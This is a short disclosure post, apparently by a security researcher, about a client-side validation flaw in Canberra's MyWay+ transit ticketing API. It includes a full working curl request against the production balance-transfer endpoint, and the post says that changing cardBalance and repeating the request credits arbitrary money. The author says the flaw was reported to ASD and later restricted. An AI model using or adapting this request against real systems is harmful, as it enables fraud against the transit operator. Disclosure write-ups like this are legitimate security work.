On the 27th of November at 8:29pm, I sent an email to an ASD defence.gov.au
address detailing a trivial infinite money glitch in MyWay+.
Between 8:44 and 9:42 of the same day, a Canberra local (who we will call Alice) was live posting about about some problems they were having transferring funds from their old myway card to myway+.
This of course intrigued me. Surely they aren't just doing trivial client side validation right? Surely not.
Ok, so the easiest attack doesn't work.
As it turns out, this works. They don't even check that the balance that you claim is correct. That means that running this command:
curl 'https://api.abt.prod-tc.nec.com.au/web-portal-business-service/abt/wpbs/c-portal/balance-transfer/transfer-card-balance' \
-X POST -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'authorization: Bearer == INSERT YOUR TOKEN HERE ==' \
-H 'Origin: https://mywayplus.transport.act.gov.au' -H 'Connection: keep-alive' \
-H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: cross-site' -H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' -H 'TE: trailers' \
--data-raw '[{"mywayCardId":"==any myway card==", "purchaseType":"00010", "purchasePoint":"00001", "paymentType":"BT", "userId":"==user id==", "cardBalance":0.69, "companyId":5, "createdBy":"==user id==", "updatedBy":"==user id=="}]'
Will result in a 69c transaction appearing in your account. You could change cardBalance
to be whatever you want and run the request as many times as you wanted.
And that leads me to how I ended up writing an email to ASD cyber assist at 8:29pm. They got back to me at 12 minutes past midnight, saying they had notified the ACT government.
A few days later, I remember reading someone complaining on reddit that balance transfer had been temporarily disabled.
There have been additional limits placed on balance transfers. These limits mean that a myway card that I never transfered can no longer be transfered. Oh well, I guess the ACT government just stole like $110 from me :bkcry:
If you are looking to build a transport ticketing system, steer clear of NEC's ABT (Account Based Ticketing) system. They don't know how to handle your money (in more ways than one...)